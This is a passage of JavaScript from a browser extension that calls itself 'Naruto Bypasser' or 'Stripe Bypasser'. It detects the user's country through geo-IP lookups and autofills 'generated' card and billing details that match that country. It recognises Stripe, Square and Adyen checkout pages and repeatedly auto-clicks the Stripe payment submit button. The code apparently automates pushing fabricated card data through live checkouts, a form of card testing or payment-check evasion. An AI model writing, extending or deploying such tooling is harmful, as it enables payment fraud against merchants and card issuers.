              const abortController = new AbortController();
              const abortTimeoutId = setTimeout(() => abortController.abort(), 2000);
              const response = await fetch(endpointUrl, {
                method: "GET",
                headers: {
                  Accept: "application/json"
                },
                signal: abortController.signal,
                mode: "cors"
              });
              clearTimeout(abortTimeoutId);
              if (response.ok) {
                const geoLookupResponse = await response.json();
                let countryCode =
                  geoLookupResponse.country_code ||
                  geoLookupResponse.countryCode ||
                  geoLookupResponse.country ||
                  (geoLookupResponse.country_code_iso3
                    ? geoLookupResponse.country_code_iso3.substring(0, 2)
                    : null) ||
                  null;
                if (countryCode) {
                  countryCode = countryCode.toUpperCase().substring(0, 2);
                  return countryCode;
                }
              }
            } catch (error) {
              return null;
            }
            return null;
          };
          const tryEndpointAt = async index => {
            if (index >= endpointList.length) {
              return null;
            }
            const countryCode = await readCountryCodeFromEndpoint(endpointList[index]);
            return countryCode || tryEndpointAt(index + 1);
          };
          return tryEndpointAt(0);
        } catch (error) {
          console.warn("[Naruto Bypasser] Operation failed", error.message);
        }
        return null;
      })();
      autofillCountryCode = detectedCountryCode;
      if (autofillCountryCode) {
        window.__STRIPE_BYPASSER_LAST_COUNTRY_CODE__ = autofillCountryCode;
        const countryProfile = getCountryAutofillProfile(autofillCountryCode);
        autofillConfig.data = {
          ...autofillConfig.data,
          ...countryProfile
        };
        if (window.StripeBypasserLogger) {
          window.StripeBypasserLogger.log("[Autofill] Detected country:", autofillCountryCode);
        }
      }
    }
    function attachCountryFieldWatcher() {
      const countryField = findFirstFillableField(selectNameCountryList);
      if (!countryField) {
        setTimeout(attachCountryFieldWatcher, 500);
        return;
      }
      const syncCountryAutofillProfile = () => {
        try {
          const selectedCountryValue =
            countryField.value ||
            (countryField.options && countryField.options[countryField.selectedIndex]?.value) ||
            (countryField.options &&
              countryField.options[countryField.selectedIndex]?.text?.trim()) ||
            countryField.textContent?.trim() ||
            countryField.getAttribute("value") ||
            countryField.getAttribute("data-value");
          if (selectedCountryValue && selectedCountryValue !== "") {
            const normalizedCountryCode = normalizeCountryCode(selectedCountryValue);
            if (normalizedCountryCode) {
              autofillCountryCode = normalizedCountryCode;
              window.__STRIPE_BYPASSER_LAST_COUNTRY_CODE__ = normalizedCountryCode;
              const countryProfile = getCountryAutofillProfile(normalizedCountryCode);
              if (countryProfile && countryProfile.zip) {
                const postalCodeField = findFirstFillableField(nameZipPostalList);
                if (postalCodeField) {
                  postalCodeField.value = "";
                  setTimeout(() => {
                    fillAutofillField(postalCodeField, countryProfile.zip);
                  }, 100);
                }
                autofillConfig.data = {
                  ...autofillConfig.data,
                  ...countryProfile
                };
              }
            }
          }
        } catch (error) {
          console.warn("[Naruto Bypasser] Operation failed", error.message);
        }
      };
      countryField.addEventListener("change", syncCountryAutofillProfile);
      countryField.addEventListener("input", syncCountryAutofillProfile);
      countryField.addEventListener("blur", syncCountryAutofillProfile);
      setTimeout(syncCountryAutofillProfile, 100);
    }
    let countryWatcherRetryTimeout = null;
    function startCountryFieldWatcher() {
      if (countryWatcherRetryTimeout) {
        clearTimeout(countryWatcherRetryTimeout);
        countryWatcherRetryTimeout = null;
      }
      if (document.body) {
        try {
          setTimeout(attachCountryFieldWatcher, 500);
        } catch (error) {
          if (window.StripeBypasserLogger) {
            window.StripeBypasserLogger.warn(
              "[Autofill] Error setting up MutationObserver:",
              error
            );
          }
        }
      } else {
        countryWatcherRetryTimeout = setTimeout(
          startCountryFieldWatcher,
          typeof window !== "undefined" && window.__STRIPE_BYPASSER_IS_MOBILE__ ? 500 : 100
        );
      }
    }
    function stopCountryFieldWatcher() {
      if (countryWatcherRetryTimeout) {
        clearTimeout(countryWatcherRetryTimeout);
        countryWatcherRetryTimeout = null;
      }
    }
    function updateAutofillSettings(nextSettings) {
      if (nextSettings) {
        autofillConfig = {
          ...autofillConfig,
          ...nextSettings
        };
        if (nextSettings.data) {
          autofillConfig.data = {
            ...autofillConfig.data,
            ...nextSettings.data
          };
        }
      }
    }
    if (typeof window !== "undefined") {
      window.addEventListener("beforeunload", stopCountryFieldWatcher);
      window.addEventListener("pagehide", stopCountryFieldWatcher);
    }
    if (typeof window !== "undefined") {
      const readAdvancedSettings = () => {
        if (window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) {
          return window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__;
        }
        return runtimeAdvancedSettings || {};
      };
      const applyAdvancedSettings = () => {
        const advancedSettings = readAdvancedSettings();
        if (advancedSettings.autofillDelay) {
          defaultSettings.delay = advancedSettings.autofillDelay;
        }
        if (advancedSettings.autofill !== undefined) {
          updateAutofillSettings({
            enabled: advancedSettings.autofill === true,
            fillCardData: advancedSettings.autofillCardData === true,
            fillBillingData: advancedSettings.autofillBillingData === true
          });
        }
      };
      let runtimeAdvancedSettings = null;
      window.addEventListener("message", event => {
        if (event.data && event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS") {
          const settingsValue = event.data.settings;
          runtimeAdvancedSettings = settingsValue;
          if (settingsValue.autofillDelay) {
            defaultSettings.delay = settingsValue.autofillDelay;
          }
          updateAutofillSettings({
            enabled: settingsValue.autofill === true,
            fillCardData: settingsValue.autofillCardData === true,
            fillBillingData: settingsValue.autofillBillingData === true,
            data: settingsValue.autofillData || data
          });
          if (settingsValue.autofill === true && autofillConfig.enabled && !hasAutofillRun) {
            setTimeout(() => fill(), 100);
          }
        }
      });
      applyAdvancedSettings();
      const intervalId = setInterval(
        () => {
          applyAdvancedSettings();
        },
        typeof window !== "undefined" && window.__STRIPE_BYPASSER_IS_MOBILE__ ? 2000 : 500
      );
      const autofillFillModule = {
        fillCardData: fillGeneratedCardData,
        fillBillingData: fillGeneratedBillingData,
        runFillCycle: fill
      };
      const stripeBypasserAutofill = {
        fill: autofillFillModule.runFillCycle,
        updateSettings: updateAutofillSettings,
        getSettings: () => ({
          ...autofillConfig
        }),
        getCountry: () => autofillCountryCode,
        detectCountry,
        modules: autofillFillModule
      };
      setTimeout(() => {
        clearInterval(intervalId);
      }, 10000);
      window.StripeBypasserAutofill = stripeBypasserAutofill;
    }
    (async () => {
      const advancedSettings = window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ || {};
      if (advancedSettings.autofillDelay) {
        defaultSettings.delay = advancedSettings.autofillDelay;
      }
      updateAutofillSettings({
        enabled: advancedSettings.autofill === true,
        fillCardData: advancedSettings.autofillCardData === true,
        fillBillingData: advancedSettings.autofillBillingData === true,
        data: advancedSettings.autofillData || data
      });
      if (autofillConfig.enabled) {
        await detectCountry();
        if (document.readyState === "loading") {
          document.addEventListener("DOMContentLoaded", () => {
            fill();
            startCountryFieldWatcher();
          });
        } else {
          fill();
          startCountryFieldWatcher();
        }
      } else if (window.StripeBypasserLogger) {
        window.StripeBypasserLogger.log("[Autofill] Autofill is disabled, skipping initialization");
      }
    })();
  })();
  if (
    typeof window === "undefined" ||
    !window.__STRIPE_BYPASSER_BUTTON_AUTO_CLICKER_INITIALIZED__
  ) {
    const isSquareCheckoutContext = () => {
      if (squareContextDetected !== null) {
        return squareContextDetected;
      }
      if (typeof window === "undefined" || typeof document === "undefined") {
        return false;
      }
      try {
        if (window.location && window.location.hostname) {
          const hostname = window.location.hostname.toLowerCase();
          if (
            hostname.includes("squareup.com") ||
            hostname.includes("checkout.square.site") ||
            hostname.includes("square.site")
          ) {
            squareContextDetected = true;
            return true;
          }
        }
        const matchingElements = document.querySelectorAll("script[src]");
        for (const elementNode of matchingElements) {
          const elementNodeSrc = elementNode.src || "";
          if (
            elementNodeSrc.includes("squareup.com") ||
            elementNodeSrc.includes("squarecdn.com") ||
            elementNodeSrc.includes("square.js")
          ) {
            squareContextDetected = true;
            return true;
          }
        }
        const iframeElements = document.querySelectorAll("iframe[src]");
        for (const elementNode of iframeElements) {
          const elementNodeSrc = elementNode.src || "";
          if (
            elementNodeSrc.includes("squareup.com") ||
            elementNodeSrc.includes("checkout.square.site")
          ) {
            squareContextDetected = true;
            return true;
          }
        }
        if (
          window.Square ||
          window.SquarePayments ||
          window.square ||
          document.querySelectorAll('[data-square], [class*="square"], [id*="square"]').length > 0
        ) {
          squareContextDetected = true;
          return true;
        }
        squareContextDetected = false;
        return false;
      } catch (error) {
        return false;
      }
    };
    const isAdyenCheckoutContext = () => {
      if (adyenContextDetected !== null) {
        return adyenContextDetected;
      }
      if (typeof window === "undefined" || typeof document === "undefined") {
        return false;
      }
      try {
        if (window.location && window.location.hostname) {
          const hostname = window.location.hostname.toLowerCase();
          if (
            hostname.includes("adyen.com") ||
            hostname.includes("checkout.adyen.com") ||
            hostname.includes("live.adyen.com") ||
            hostname.includes("test.adyen.com")
          ) {
            adyenContextDetected = true;
            return true;
          }
        }
        const matchingElements = document.querySelectorAll("script[src]");
        for (const elementNode of matchingElements) {
          const elementNodeSrc = elementNode.src || "";
          if (
            elementNodeSrc.includes("adyen.com") ||
            elementNodeSrc.includes("adyenjs") ||
            elementNodeSrc.includes("adyen-encrypt")
          ) {
            adyenContextDetected = true;
            return true;
          }
        }
        const iframeElements = document.querySelectorAll("iframe[src]");
        for (const elementNode of iframeElements) {
          const elementNodeSrc = elementNode.src || "";
          if (
            elementNodeSrc.includes("adyen.com") ||
            elementNodeSrc.includes("checkout.adyen.com")
          ) {
            adyenContextDetected = true;
            return true;
          }
        }
        if (
          window.AdyenEncryption ||
          window.adyen ||
          window.Adyen ||
          window.__adyen ||
          window.adyenjs ||
          document.querySelectorAll('[data-adyen], [class*="adyen"], [id*="adyen"]').length > 0
        ) {
          adyenContextDetected = true;
          return true;
        }
        adyenContextDetected = false;
        return false;
      } catch (error) {
        return false;
      }
    };
    const isStripeCheckoutContext = () => {
      if (typeof window === "undefined" || !window.location) {
        return false;
      }
      const hostname = window.location.hostname.toLowerCase();
      const pathname = window.location.pathname.toLowerCase();
      const pageUrl = window.location.href.toLowerCase();
      if (hostname === "invoice.stripe.com" || pageUrl.includes("invoice.stripe.com")) {
        return true;
      }
      if (
        hostname.includes("billing.stripe.com") ||
        (hostname.includes("stripe.com") &&
          (pathname.includes("/billing") || pathname.includes("/account/billing")))
      ) {
        return true;
      }
      if (hostname === "checkout.stripe.com" || pageUrl.includes("checkout.stripe.com")) {
        return true;
      }
      if (pathname.includes("/c/pay/cs_live_") || pathname.includes("/c/pay/cs_test_")) {
        return true;
      }
      if (pageUrl.includes("cs_live_") || pageUrl.includes("cs_test_")) {
        try {
          if (
            document.querySelector('button[class*="SubmitButton"]') ||
            document.querySelector('[class*="SubmitButton"]') ||
            document.querySelector('a[href*="stripe.com"]') ||
            document.querySelector('[class*="powered-by-stripe"]')
          ) {
            return true;
          }
        } catch (error) {
          console.warn("[Naruto Bypasser] Operation failed", error.message);
        }
      }
      if (hostname.startsWith("checkout.") && typeof document !== "undefined") {
        try {
          if (
            document.querySelector('button[class*="SubmitButton"]') ||
            document.querySelector('a[href*="stripe.com"]')
          ) {
            return true;
          }
        } catch (error) {
          console.warn("[Naruto Bypasser] Operation failed", error.message);
        }
      }
      return false;
    };
    const setAutoClickState = nextAutoClickState => {
      autoClickState = nextAutoClickState;
    };
    const isSubmitButtonReady = element => {
      if (!element) {
        return false;
      }
      if (element.disabled) {
        return false;
      }
      if (element.getAttribute("aria-disabled") === "true") {
        return false;
      }
      const boundingRect = element.getBoundingClientRect();
      if (boundingRect.width === 0 || boundingRect.height === 0) {
        return false;
      }
      const normalizedText = (element.className || "").toLowerCase();
      if (normalizedText.includes("submitbutton--complete")) {
        return true;
      }
      if (normalizedText.includes("submitbutton--incomplete")) {
        return false;
      }
      if (
        normalizedText.includes("is-loading") ||
        normalizedText.includes("is-disabled") ||
        normalizedText.includes("is-processing") ||
        normalizedText.includes("submitbutton--disabled") ||
        normalizedText.includes("submitbutton--loading")
      ) {
        return false;
      }
      const buttonText = (element.textContent || element.innerText || "").toLowerCase();
      return (
        !buttonText.includes("please wait") &&
        (!buttonText.includes("loading") || !!buttonText.includes("subscribe")) &&
        (!buttonText.includes("processing") || !!buttonText.includes("subscribe"))
      );
    };
    const findSubmitButton = () => {
      if (!isStripeCheckoutContext()) {
        return null;
      }
      if (
        cachedSubmitButton &&
        typeof document !== "undefined" &&
        document.body &&
        document.body.contains(cachedSubmitButton)
      ) {
        return cachedSubmitButton;
      }
      cachedSubmitButton = null;
      for (const buttonSelector of [
        'button[class*="SubmitButton"]',
        'button[data-testid*="submit"]',
        'button[data-testid*="payment"]'
      ]) {
        const candidateButtons =
          typeof document !== "undefined" ? document.querySelectorAll(buttonSelector) : [];
        for (const selectorText of candidateButtons) {
          const normalizedText = (selectorText.textContent || selectorText.innerText || "")
            .trim()
            .toLowerCase();
          if (
            !normalizedText.includes("pay with link") &&
            !normalizedText.includes("continue with link")
          ) {
            cachedSubmitButton = selectorText;
            return selectorText;
          }
        }
      }
      return null;
    };
    const clickSubmitButton = element => {
      if (!element) {
        return false;
      }
      try {
        element.click();
        return true;
      } catch (error) {
        return false;
      }
    };
    const attemptSubmitClick = submitButton => {
      if (!submitButton) {
        return;
      }
      setAutoClickState(AUTO_CLICK_STATE.CLICKED);
      clickAttemptCount++;
      clickSubmitButton(submitButton);
      if (clickAttemptCount >= 5) {
        return;
      }
      const submitRetryDelay = getThrottleInterval(3000, shouldReduceAnimations() ? 1.2 : 1);
      const retryDelayMs = getThrottleInterval(1000, shouldReduceAnimations() ? 1.5 : 1);
      setTimeout(() => {
        let settingsData = {};
        if (
          window.StripeBypasserSettings &&
          typeof window.StripeBypasserSettings.get === "function"
        ) {
          settingsData = window.StripeBypasserSettings.get();
        } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
          settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
        }
        if (!settingsData || settingsData.enabled !== false) {
          if (isStripeCheckoutContext() && typeof document !== "undefined" && document.body) {
            const submitButton = findSubmitButton();
            if (submitButton && isSubmitButtonReady(submitButton)) {
              setAutoClickState(AUTO_CLICK_STATE.WAITING);
              setTimeout(() => {
                if (!isSquareCheckoutContext() && !isAdyenCheckoutContext()) {
                  if (settingsData && settingsData.enabled !== false && isStripeCheckoutContext()) {
                    runAutoClickCycle();
                  }
                }
              }, retryDelayMs);
            } else {
              setAutoClickState(AUTO_CLICK_STATE.WAITING);
            }
          } else {
            setAutoClickState(AUTO_CLICK_STATE.WAITING);
          }
        }
      }, submitRetryDelay);
    };
    let runAutoClickCycle = () => {
      let settingsData = {};
      if (
        window.StripeBypasserSettings &&
        typeof window.StripeBypasserSettings.get === "function"
      ) {
        settingsData = window.StripeBypasserSettings.get();
      } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
        settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
      }
      if (settingsData && settingsData.enabled === false) {
        return;
      }
      if (isAdyenCheckoutContext()) {
        return;
      }
      if (!isStripeCheckoutContext()) {
        return;
      }
      const submitButton = findSubmitButton();
      if (submitButton) {
        if (isSubmitButtonReady(submitButton)) {
          attemptSubmitClick(submitButton);
        } else {
          setAutoClickState(AUTO_CLICK_STATE.WAITING);
        }
      } else if (autoClickState === AUTO_CLICK_STATE.IDLE) {
        setAutoClickState(AUTO_CLICK_STATE.WAITING);
      }
    };
    const ensureAutoClickObserver = () => {
      if (!domObserver && typeof document !== "undefined" && document.body) {
        domObserver = new MutationObserver(() => {
          pendingAutoClickCheck ||= setTimeout(() => {
            pendingAutoClickCheck = null;
            runAutoClickCycle();
          }, 800);
        });
        domObserver.observe(document.body, {
          childList: true,
          subtree: true
        });
      }
    };
    const arm = () => {
      let settingsData = {};
      if (
        window.StripeBypasserSettings &&
        typeof window.StripeBypasserSettings.get === "function"
      ) {
        settingsData = window.StripeBypasserSettings.get();
      } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
        settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
      }
      if (settingsData && settingsData.enabled === false) {
        return;
      }
      if (!isStripeCheckoutContext()) {
        return;
      }
      clickAttemptCount = 0;
      setAutoClickState(AUTO_CLICK_STATE.WAITING);
      ensureAutoClickObserver();
      const autoClickInterval = getThrottleInterval(2000, shouldReduceAnimations() ? 1.2 : 1);
      setTimeout(() => {
        runAutoClickCycle();
      }, autoClickInterval);
    };
    const stop = () => {
      if (domObserver) {
        domObserver.disconnect();
        domObserver = null;
      }
      if (pendingAutoClickCheck) {
        clearTimeout(pendingAutoClickCheck);
        pendingAutoClickCheck = null;
      }
    };
    const loadAutoClickSettings = () => {
      let advancedSettings =
        (typeof window !== "undefined" && window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) || {};
      if (!advancedSettings || Object.keys(advancedSettings).length === 0) {
        let settingsPollAttempts = 0;
        const settingsPollDelay = getThrottleInterval(200, shouldReduceAnimations() ? 1.5 : 1);
        const intervalId = setInterval(() => {
          advancedSettings =
            (typeof window !== "undefined" && window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) || {};
          settingsPollAttempts++;
          if (advancedSettings && Object.keys(advancedSettings).length > 0) {
            clearInterval(intervalId);
            applyAutoClickSettings(advancedSettings);
          } else if (settingsPollAttempts >= 10) {
            clearInterval(intervalId);
            applyAutoClickSettings({
              autoClickButtons: false,
              autoClickDelay: 2000
            });
          }
        }, settingsPollDelay);
        return;
      }
      applyAutoClickSettings(advancedSettings);
    };
    let applyAutoClickSettings = autoClickSettings => {
      autoClickConfig.enabled = autoClickSettings.autoClickButtons === true;
      if (autoClickSettings.autoClickDelay) {
        autoClickConfig.delay = autoClickSettings.autoClickDelay;
      }
      if (!isSquareCheckoutContext() && !isAdyenCheckoutContext()) {
        if (isStripeCheckoutContext() && autoClickState !== AUTO_CLICK_STATE.CLICKED) {
          setTimeout(() => {
            if (isStripeCheckoutContext() && autoClickState !== AUTO_CLICK_STATE.CLICKED) {
              arm();
            }
          }, 2000);
        }
      }
    };
    const initAutoClicker = () => {
      if (typeof document !== "undefined" && document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", () => {
          loadAutoClickSettings();
        });
      } else {
        loadAutoClickSettings();
      }
      if (typeof window !== "undefined") {
        window.addEventListener("message", event => {
          if (event.data && event.data.type === "stripeBypasserReloadSettings") {
            loadAutoClickSettings();
          } else if (
            event.data &&
            event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS" &&
            event.data.settings
          ) {
            window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = event.data.settings;
            applyAutoClickSettings(event.data.settings);
          }
        });
        if (typeof chrome !== "undefined" && chrome.storage) {
          chrome.storage.onChanged.addListener((changes, areaName) => {
            if (areaName === "local" && changes.bypasserAdvancedSettings) {
              const advancedSettings = changes.bypasserAdvancedSettings.newValue || {};
              window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = advancedSettings;
              applyAutoClickSettings(advancedSettings);
            }
          });
        }
      }
    };
    if (typeof window !== "undefined") {
      window.__STRIPE_BYPASSER_BUTTON_AUTO_CLICKER_INITIALIZED__ = true;
    }
    const AUTO_CLICK_STATE = Object.freeze({
      IDLE: "IDLE",
      WAITING: "WAITING",
      CLICKED: "CLICKED"
    });
    let autoClickState = AUTO_CLICK_STATE.IDLE;
    let clickAttemptCount = 0;
    let autoClickConfig = {
      enabled: false,
      delay: 2000
    };
    let domObserver = null;
    let pendingAutoClickCheck = null;
    let cachedSubmitButton = null;
    let squareContextDetected = null;
    let adyenContextDetected = null;
    const stripeAutoClickFsm = {
      getState: () => autoClickState,
      getConfig: () => ({
        ...autoClickConfig
      }),
      arm,
      stop
    };
    if (typeof window !== "undefined") {
      window.StripeAutoClickFSM = stripeAutoClickFsm;
    }
    initAutoClicker();
  }
})();
